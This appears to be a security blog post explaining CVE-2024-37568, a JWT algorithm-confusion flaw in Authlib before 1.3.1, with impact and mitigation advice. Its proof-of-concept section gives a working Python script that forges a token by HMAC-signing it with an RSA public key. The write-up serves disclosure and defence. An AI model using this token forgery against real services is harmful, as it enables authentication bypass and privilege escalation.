Introduction
CVE-2024-37568 is a critical vulnerability discovered in Authlib, a popular Python library for OAuth and OpenID Connect implementations. The issue stems from an algorithm confusion error when handling asymmetric public keys in JSON Web Tokens (JWT). This blog post provides a technical deep dive into the vulnerability, its potential impact, and mitigation strategies.
Vulnerability Details
Authlib, prior to version 1.3.1, exhibited a critical flaw in its JWT decoding process. Specifically, when decoding a JWT without explicitly specifying an algorithm, the library erroneously allowed HMAC verification using an asymmetric public key. This misconfiguration undermines the fundamental security principles of asymmetric cryptography, where public keys are intended for encryption and verification using corresponding private keys.
The root cause of the vulnerability lies in the library's lax validation of JWT headers. By omitting the required 'alg' claim or providing an invalid value, an attacker could manipulate the JWT structure to bypass the intended asymmetric signature verification. This oversight enabled an attacker to forge JWTs using HMAC signatures, circumventing the robust security mechanisms of asymmetric cryptography.
Technical Analysis
To comprehend the vulnerability in detail, it's essential to understand the JWT structure and the cryptographic principles involved.
A JWT consists of three parts separated by dots:
Header: Contains metadata about the token, including the signing algorithm.
Payload: Encodes the claims or data to be transmitted.
Signature: A cryptographic hash of the header and payload, signed with a secret key.
In a typical asymmetric key setup, the JWT header specifies the 'alg' claim as 'RS256' (or a similar RSA-based algorithm). The signature is then generated using the private key and verified using the corresponding public key.
CVE-2024-37568 arises when the 'alg' claim is missing or incorrect. In such cases, Authlib incorrectly defaults to HMAC verification, allowing an attacker to forge a JWT using a shared secret key, even though the public key is present.
Proof of Concept
To go through a typical proof of concept for this CVE-2024-37568, we will need to perform the exploit in 3 steps i.e. Key Pair Generation, Token Forgery and Server Deception (the final trick). But first make sure that we have the vulnerable version of "authlib" installed on our system.
Now, we can use this simple script to perform a PoC exploit:
from authlib.jose import jwt
from Crypto.PublicKey import RSA
from Crypto.Hash import HMAC, SHA256
import base64
# ----- KEY PAIR CREATION -----
# Generate an RSA key pair to simulate a typical cryptographic setup
# The private key should ideally remain secret and is used for signing data
private_key = RSA.generate(2048)
# Public key that is distributed or exposed in some way
# In certain scenarios, this key can be derived from signatures
public_key = private_key.publickey().export_key(format='PEM')
# Ensure the setup is functioning as expected
private_pem = private_key.export_key(format='PEM')
generated_token = jwt.encode({"alg": "RS256"}, {"secure": False}, private_pem)
decoded_claims = jwt.decode(generated_token, public_key)
assert not decoded_claims["secure"]
# ----- MALICIOUS TOKEN GENERATION -----
# Simulating an attack where a valid token is created without needing the private key
# This should not be possible in a secure JWT implementation
# Helper function to encode data in URL-safe Base64 format
encode_base64 = lambda data: base64.urlsafe_b64encode(data).rstrip(b'=')
# Build the token header and payload, tricking the system into using HS256 instead of
RS256
header = encode_base64(b'{"alg":"HS256"}')
payload = encode_base64(b'{"secure":true}')
unsigned_token = header + b'.' + payload
# Create a fake signature using the public key, exploiting the algorithm confusion
hmac_signature = HMAC.new(public_key, digestmod=SHA256)
hmac_signature.update(unsigned_token)
signature = encode_base64(hmac_signature.digest())
# The manipulated token that should be rejected by the server but won't be
forged_token = unsigned_token + b'.' + signature
print("FORGED TOKEN:", forged_token)
# ----- SERVER TOKEN HANDLING -----
# The server tries to validate the incoming token, but due to the algorithm flaw, it gets tricked
# The verification process incorrectly accepts the manipulated token
verified_data = jwt.decode(forged_token, public_key)
if verified_data["secure"]:
print("EXPLOIT SUCCESSFUL")
We can understand this in three steps:
Key Pair Generation:
The script begins by generating an RSA key pair, with the private key intended for signing and the public key for verification. This mirrors a typical cryptographic setup.
Token Forgery:
Normally, JWTs signed with RS256 (an asymmetric algorithm) should only be verified using the corresponding public key.
However, the attacker manipulates the JWT header to specify HS256 (a symmetric algorithm) instead. HS256 expects the same key to be used for both signing and verification.
The attacker then misuses the public key as if it were a shared secret, creating a signature using HMAC with SHA256.
Server Deception:
The server, when presented with this forged token, naively trusts the alg field in the token header.
It attempts to verify the token using the public key, which, due to the algorithm confusion, matches the fake signature.
The server fails to recognize that the token was not signed with the private key, leading to unauthorized access or other malicious actions, as indicated by the "EXPLOIT SUCCESSFUL" message.
Impact
The consequences of exploiting CVE-2024-37568 are severe. Successful exploitation can lead to a range of security breaches, including:
Token Forgery: Adversaries can craft arbitrary JWTs with valid signatures, gaining unauthorized access to protected resources.
Privilege Escalation: Malicious actors can elevate their privileges within the system by forging tokens with higher permissions.
Security Bypass: The vulnerability can be leveraged to bypass authentication and authorization mechanisms, compromising system integrity.
Data Exposure: Sensitive information contained within JWT payloads could be accessed or modified without authorization.
Mitigation
To address CVE-2024-37568, it is imperative to upgrade Authlib to version 1.3.1 or later. This update incorporates robust fixes to prevent algorithm confusion and ensure correct JWT validation.
Additionally, consider implementing the following security best practices:
Strict Input Validation: Validate all JWT components, including the 'alg' claim, to prevent unexpected behavior.
Algorithm Whitelisting: Restrict allowed algorithms to mitigate the risk of unknown or weak algorithms.
Key Management: Employ secure key management practices to protect private keys.
Regular Updates: Keep Authlib and other dependencies up-to-date with the latest security patches.
Conclusion
CVE-2024-37568 underscores the critical importance of rigorous code review and security testing in cryptographic libraries. By understanding the technical details of the vulnerability and implementing recommended mitigations, organizations can significantly enhance the security of their applications and protect sensitive data.
Disclaimer
The information presented in this blog post is for educational purposes only. It is intended to raise awareness about the CVE-2024-37568 vulnerability and help mitigate the risks. It is not intended to be used for malicious purposes.
It's crucial to understand that messing around with vulnerabilities in live systems without permission is not just against the law, but it also comes with serious risks. This blog post does not support or encourage any activities that could help with such unauthorized actions.